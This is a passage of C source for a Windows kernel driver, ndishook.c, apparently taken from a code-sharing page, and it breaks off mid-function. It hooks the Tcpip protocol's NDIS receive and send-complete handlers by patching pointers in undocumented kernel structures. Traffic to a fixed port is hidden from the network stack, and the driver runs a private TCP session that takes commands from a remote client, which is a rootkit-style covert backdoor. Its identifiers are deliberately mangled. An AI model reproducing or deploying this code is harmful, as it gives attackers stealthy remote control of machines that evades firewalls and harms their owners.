📄 ndishook.c
字号:
memset(&ourNPC,0,sizeof(NDIS_PROTOCOL_CHARACTERISTICS));
len = sizeof(NDIS_PROTOCOL_CHARACTERISTICS);
ourNPC.MajorNdisVersion = 0x05;
ourNPC.MinorNdisVersion = 0x00;
ourNPC.Name = protoNAme;
ourNPC.OpenAdapterCompleteHandler = PtOpenAdApterComplete;
ourNPC.CloseAdapterCompleteHandler = PtCloseAdApterComplete;
ourNPC.SendCompleteHandler = PtSendComplete;
ourNPC.TransferDataCompleteHandler = PtTrAnsferDAtAComplete;
ourNPC.ResetCompleteHandler = PtResetComplete;
ourNPC.RequestCompleteHandler = PtRequestComplete;
ourNPC.ReceiveHandler = PtReceive;
ourNPC.ReceiveCompleteHandler = PtReceiveComplete;
ourNPC.StatusHandler = PtStAtus;
ourNPC.StatusCompleteHandler = PtStAtusComplete;
ourNPC.BindAdapterHandler = PtBindAdApter;
ourNPC.UnbindAdapterHandler = PtUnbindAdApter;
ourNPC.UnloadHandler = NULL;//PtUnloAd;
ourNPC.ReceivePacketHandler = PtReceivePAcket;
ourNPC.PnPEventHandler = PtPNPHAndler;
NdisRegisterProtocol(&StAtus,&ourProtocolHAndle,&ourNPC,len);
if(!NT_SUCCESS(StAtus) || ourProtocolHAndle == NULL){
return FALSE;
}
//NdisRegisterProtocol return hAnd reference of NDIS_PROTOCOL_BLOCK;
ProtocolChAin = (CHAR*)ourProtocolHAndle;
while(1){
offset = 0x10;
ProtocolChAin = ((CHAR**)(ProtocolChAin + offset))[0];
if (ProtocolChAin == NULL){
break;
}
HookFuncBlock(ProtocolChAin);
}
NdisDeregisterProtocol(&StAtus,ourProtocolHAndle);
return TRUE;
}
//--------------------------------------------------------------------
VOID HookFuncBlock(CHAR* ProtocolContent)
{
PNDIS_PROTOCOL_CHARACTERISTICS pProChAr;
NDIS_STRING TcpipString = NDIS_STRING_CONST("Tcpip");
if(ProtocolContent == NULL){
return;
}
pProChAr = (PNDIS_PROTOCOL_CHARACTERISTICS)(ProtocolContent + 0x14);
if(KeGetCurrentIrql() == PASSIVE_LEVEL){
if(RtlCompareUnicodeString(&pProChAr->Name,&TcpipString,TRUE) != 0){
return;
}
}
HookNdisFunc(HookProtocolReceive,(PVOID*)&pProChAr->ReceiveHandler,NULL,ProtocolContent);
HookNdisFunc(HookProtocolReceivePAcket,(PVOID*)&pProChAr->ReceivePacketHandler,NULL,ProtocolContent);
//HookNdisFunc(HookBindAdApterHAndler,(PVOID*)&pProChAr->BindAdapterHandler,NULL,ProtocolContent);
HookNdisFunc(HookProtocolSendComplete,(PVOID*)&pProChAr->SendCompleteHandler,NULL,ProtocolContent);
//just cAre About ndis 5
if(1/*m_dwMajorVersion == 0x05*/){
PNDIS_OPEN_BLOCK pNdisOpenBlock;
pNdisOpenBlock = ((PNDIS_OPEN_BLOCK*)ProtocolContent)[0];
while(pNdisOpenBlock){
//HookNdisFunc(HookProtocolSend,(PVOID*)&pNdisOpenBlock->SendHandler,pNdisOpenBlock,ProtocolContent);
//HookNdisFunc(HookProtocolReceive,(PVOID*)&pNdisOpenBlock->PostNt32ReceiveHandlerHandler,pNdisOpenBlock,ProtocolContent);
HookNdisFunc(HookProtocolReceive,(PVOID*)&pNdisOpenBlock->ReceiveHandler,pNdisOpenBlock,ProtocolContent);
HookNdisFunc(HookProtocolReceivePAcket,(PVOID*)&pNdisOpenBlock->ReceivePacketHandler,pNdisOpenBlock,ProtocolContent);
HookNdisFunc(HookProtocolSendComplete,(VOID*)&pNdisOpenBlock->SendCompleteHandler,pNdisOpenBlock,ProtocolContent);
//HookNdisFunc(HookProtocolSendPAckets,(PVOID*)&pNdisOpenBlock->SendPacketsHandler,pNdisOpenBlock,ProtocolContent);
pNdisOpenBlock = pNdisOpenBlock->ProtocolNextOpen;
}
}
return;
}
//--------------------------------------------------------------------
HOOK_CONTEXT_STRUCT *HookNdisFunc(PVOID pHookProc,PVOID *ppOrigProc,PVOID pBindAdAptHAndle,PVOID pProtocolContent)
{
HOOK_CONTEXT_STRUCT *pHookContext;
PVOID OrgFunc;
pHookContext = IsHookedNdisFunc(ppOrigProc[0]);
if(pHookContext){
OrgFunc = pHookContext->m_pOriginalProc;
}
else{
OrgFunc = ppOrigProc[0];
}
if (OrgFunc == NULL){
return NULL;
}
pHookContext = IsHookedNdisFuncEx(ppOrigProc);
if(pHookContext){
return pHookContext;
}
NdisAllocateMemoryWithTag(&pHookContext,sizeof(HOOK_CONTEXT_STRUCT),'ytaU');
if(pHookContext == NULL){
return NULL;
}
memset(pHookContext,0,sizeof(HOOK_CONTEXT_STRUCT));
pHookContext->code1_0x58 = 0x58;
pHookContext->code2_0x68 = 0x68;
pHookContext->code3_0x50 = 0x50;
pHookContext->code4_0xE9 = 0xE9;
pHookContext->m_pHookContext = pHookContext;
pHookContext->m_pHookProcOffset = ((ULONG)pHookProc) - (((ULONG)&pHookContext->m_pHookProcOffset) + sizeof(ULONG));
pHookContext->m_pBindAdaptHandle = pBindAdAptHAndle;
pHookContext->m_pProtocolContent = pProtocolContent;
pHookContext->m_pOriginalProc = OrgFunc;
pHookContext->m_ppOriginPtr = ppOrigProc;
pHookContext->m_pHookProc = pHookProc;
pHookContext->m_pHookNext = m_pOurAllOfHookContext;
m_pOurAllOfHookContext = pHookContext;
ppOrigProc[0] = pHookContext;
return pHookContext;
}
//--------------------------------------------------------------------
HOOK_CONTEXT_STRUCT* IsHookedNdisFunc(PVOID pAddr)
{
HOOK_CONTEXT_STRUCT *pHookContext;
pHookContext = m_pOurAllOfHookContext;
while(pHookContext){
if(pHookContext == pAddr){
break;
}
pHookContext = pHookContext->m_pHookNext;
}
return pHookContext;
}
//--------------------------------------------------------------------
HOOK_CONTEXT_STRUCT* IsHookedNdisFuncEx(PVOID *pAddr)
{
HOOK_CONTEXT_STRUCT *pHookContext;
pHookContext = m_pOurAllOfHookContext;
while(pHookContext){
if(pHookContext->m_ppOriginPtr == pAddr){
break;
}
pHookContext = pHookContext->m_pHookNext;
}
return pHookContext;
}
//--------------------------------------------------------------------
NDIS_STATUS
HookProtocolReceive(
IN HOOK_CONTEXT_STRUCT *pOurContext,
IN NDIS_HANDLE ProtocolBindingContext,
IN NDIS_HANDLE MAcReceiveContext,
IN PVOID HeAderBuffer,
IN UINT HeAderBufferSize,
IN PVOID LookAheAdBuffer,
IN UINT LookAheAdBufferSize,
IN UINT PAcketSize
)
{
NTSTATUS stAtus = NDIS_STATUS_SUCCESS;
ULONG result = FALSE;
//DbgPrint("in HookProtocolReceive\n");
if(pOurContext){
if(pOurContext->m_pBindAdaptHandle){
ULONG len = 0;
if(PAcketSize > LookAheAdBufferSize){
NdisTransferData(
&stAtus,
pOurContext->m_pBindAdaptHandle,
MAcReceiveContext,
0,
PAcketSize,
m_ourPAcketHAndle,
&len
);
}
else{
NdisMoveMemory(m_ourBuffer,LookAheAdBuffer,PAcketSize);
}
if(stAtus == NDIS_STATUS_SUCCESS){
//do whAt we wAnt here
//equAl to HookFilterPAcket()
result = HAndleReceivePAcket(
pOurContext,
PAcketSize,
HeAderBuffer,
HeAderBufferSize,
m_ourPAcketHAndle
);
}
else if(stAtus == NDIS_STATUS_PENDING){
//这里回出问题,如果这个包被送回,连接就会被上面的protocol中断
//1.把包丢掉,这样其他正常的tcp连接希望他们会重传而不再经过这里
//2.把包传下去,这样我们的连接被中断
//暂时选2
result = FALSE;
}
if(result){
return NDIS_STATUS_NOT_ACCEPTED;
}
else{
stAtus = ((RECEIVE_HANDLER)pOurContext->m_pOriginalProc)(
ProtocolBindingContext,
MAcReceiveContext,
HeAderBuffer,
HeAderBufferSize,
LookAheAdBuffer,
LookAheAdBufferSize,
PAcketSize
);
}//end else
}
}
return stAtus;
}
//--------------------------------------------------------------------
INT
HookProtocolReceivePAcket(
IN HOOK_CONTEXT_STRUCT *pOurContext,
IN NDIS_HANDLE ProtocolBindingContext,
IN PNDIS_PACKET PAcket
)
{
NTSTATUS stAtus = NDIS_STATUS_SUCCESS;
ULONG result;
//DbgPrint("in HookProtocolReceivePAcket\n");
if(pOurContext){
//most of opeAtions we do in HAndlePAcket
result = HAndlePAcket(pOurContext,PAcket);
if(result){
return NDIS_STATUS_NOT_ACCEPTED;
}
else{
stAtus = ((RECEIVE_PACKET_HANDLER)pOurContext->m_pOriginalProc)(
ProtocolBindingContext,
PAcket
);
}
}
return stAtus;
}
//--------------------------------------------------------------------
ULONG HAndlePAcket(HOOK_CONTEXT_STRUCT *pOurContext,PNDIS_PACKET pPAcket)
{
ULONG PAcketSize;
PVOID pBuffer = NULL;
NTSTATUS stAtus;
ULONG result = TRUE;
PNDIS_BUFFER firstBuffer,nextBuffer;
NdisQueryPacket(pPAcket,NULL,NULL,NULL,&PAcketSize);
if(PAcketSize < sizeof(ETHHDR)){
return TRUE;
}
stAtus = NdisAllocateMemoryWithTag(&pBuffer,PAcketSize,'ytaU');
if(stAtus != NDIS_STATUS_SUCCESS || pBuffer == NULL){
return TRUE;
}
ReAdPAcket(pPAcket,pBuffer,PAcketSize);
//get the pAcket's buffer
result = HAndleBuffer(pOurContext,pBuffer,PAcketSize);
NdisFreeMemory(pBuffer,PAcketSize,0);
return result;
}
//--------------------------------------------------------------------
VOID ReAdPAcket(PNDIS_PACKET PAcket,PVOID pBuffer,ULONG ulBufSize)
{
PVOID virtuAlAddress;
PNDIS_BUFFER firstBuffer,nextBuffer;
ULONG totAlLength;
ULONG len;
PVOID pBuf = NULL;
ULONG count = 0;
NdisQueryPacket(PAcket,NULL,NULL,&firstBuffer,NULL);
while(firstBuffer != NULL){
NdisQueryBufferSafe(firstBuffer,&virtuAlAddress,&len,NormalPagePriority );
if(!virtuAlAddress){
break;
}
if(count + len > ulBufSize){
break;
}
NdisMoveMemory(&((CHAR*)pBuffer)[count],virtuAlAddress,len);
count += len;
NdisGetNextBuffer(firstBuffer,&nextBuffer);
firstBuffer = nextBuffer;
}
return;
}
//--------------------------------------------------------------------
ULONG HAndleBuffer(HOOK_CONTEXT_STRUCT *pOurContext,PVOID pBuffer,ULONG PAcketSize)
{
NTSTATUS stAtus;
//if result is FALSE,then the pAcket will be send to up level,if TRUE,we throw it AwAy
ULONG result = FALSE;
USHORT proto;
PETHHDR pEthHdr = NULL;
PIPHDR pIpHdr = NULL;
PTCPHDR pTcpHdr = NULL;
PTCPS_Connection pConnection;
ULONG i;
pEthHdr = (PETHHDR)pBuffer;
proto = pEthHdr->h_proto;
switch(NTOHS(proto))
{
case ETH_P_IP:
{
pIpHdr = (PIPHDR)((UCHAR*)pEthHdr + sizeof(ETHHDR));
//DbgPrint("protocol: %d\n",pIpHdr->protocol);//debug
if(pIpHdr->protocol == IPPROTO_TCP){
pTcpHdr = (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4);
//DbgPrint("from port %d to port %d\n",NTOHS(pTcpHdr->source),NTOHS(pTcpHdr->dest));//debug
if(NTOHS(pTcpHdr->dest) != OURPORT){
return FALSE;
}
else{
/*
//本来想在这里建立出错重传的,,不过还是算了,,
USHORT Checksum;
Checksum = CountChecksum(pBuffer);
if(Checksum != pTcpHdr->check){
if(pTcpHdr->syn){
//do nothing
//return FALSE;
}
else{
//resend(); 重传下sendlist里的包,不知道这样行不行? debug
KeSetEvent(
g_puSendEvent,
0,
FALSE
);
return TRUE;
}
}
*/
//if the received Ack,seq is not whAt we expected,then ignore it,if it's syn or rst pAcket,we do nothing
if (!pTcpHdr->syn && !pTcpHdr->rst){
for(i = 0;i < MAX_CONNECTIONS;i ++){
//通过ip和源端口判断是哪个连接
//see which connection this pAcket belongs to
if(g_ConnectionSpAce[i].m_SourcePort == pTcpHdr->source
&& g_ConnectionSpAce[i].m_SourceIp == pIpHdr->saddr
)
{
pConnection = &g_ConnectionSpAce[i];
DbgPrint("expected seq %d\nexpected Ack %d\n",NTOHL(pConnection->m_ExpectedSeq),NTOHL(pConnection->m_ExpectedAck_seq));
DbgPrint("received seq %d\nreceived Ack %d\n",NTOHL(pTcpHdr->seq),NTOHL(pTcpHdr->ack_seq));
if(pTcpHdr->seq != pConnection->m_ExpectedSeq || pTcpHdr->ack_seq != pConnection->m_ExpectedAck_seq){
return TRUE;
}
}
}
if(pConnection == NULL){
return TRUE;
}
}
// ////////
if(pTcpHdr->syn){
//回SYN ACK
result = SetConnection(pOurContext,pBuffer);
//如果SetConnection返回FALSE,表示已经超过最大连接数(32)(可能包括已断的连接未释放connection),不再处理连接请求
if (result){
UpDAteConnectionSYN(pOurContext,pBuffer);
//send A pAcket with SYN ACK
SendSYNACKPAcketToSendList(pOurContext,pBuffer);
//when set g_puSendEvent to signAled, At the sAme time if sendlist hAve items,then send the first one
KeSetEvent(
g_puSendEvent,
0,
FALSE
);
}
}
else if(pTcpHdr->psh){
if(pTcpHdr->ack){
//收到Ack后就该释放上个包
//when receive the Ack pAcket,meAns the lAst pAcket we send wAs successfully Arrived
UpDAteConnection(pOurContext,pBuffer);
//remove lAst pAcket we sent
RemoveSendDAtAFromList(&g_SendListHeAd);
KeSetEvent(
g_puSendEvent,
0,
FALSE
);
}
SendACKPAcketToSendList(pOurContext,pBuffer);
//mAke the pAcket be sent
KeSetEvent(
g_puSendEvent,
0,
FALSE
);
//GetPAcketDAtA 把得到的数据加入到recvlist
//we get commAnd from client
GetPAcketDAtA(pOurContext,pBuffer);
UpDAteConnection(pOurContext,pBuffer);
result = TRUE;
}
else if(pTcpHdr->fin || pTcpHdr->rst){
DbgPrint("received rst or fin\n");
//
SendDisconnectMessAgeToSendlist(pOurContext,pBuffer);
//Disconnect(pOurContext,pBuffer);
/*
KeSetEvent(
g_puSendEvent,
0,
FALSE
);
*/
result = TRUE;
}
else if(pTcpHdr->ack){
//when receive the Ack pAcket,meAns the lAst pAcket we send wAs successfully Arrived
UpDAteConnection(pOurContext,pBuffer);
RemoveSendDAtAFromList(&g_SendListHeAd);
KeSetEvent(
g_puSendEvent,
0,
FALSE
);
result = TRUE;
}
}//end else
}
}
case ETH_P_ARP:
break;
case ETH_P_RARP:
break;
default:
break;
}
return result;
}
//--------------------------------------------------------------------
VOID
HookProtocolSendComplete(
IN HOOK_CONTEXT_STRUCT *pOurContext,
IN NDIS_HANDLE ProtocolBindingContext,
IN PNDIS_PACKET PAcket,
IN NDIS_STATUS StAtus
)
{
if(pOurContext){
NDIS_HANDLE PoolHAndle = NULL;
PNDIS_BUFFER pNdisBuffer = NULL;
PoolHAndle = NdisGetPoolFromPacket(PAcket);
if (PoolHAndle == m_ourPAcketPoolHAndle){
while(1){
NdisUnchainBufferAtFront(
PAcket,
&pNdisBuffer
);
if(pNdisBuffer == NULL){
break;
}
else{
NdisFreeBuffer(pNdisBuffer);
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -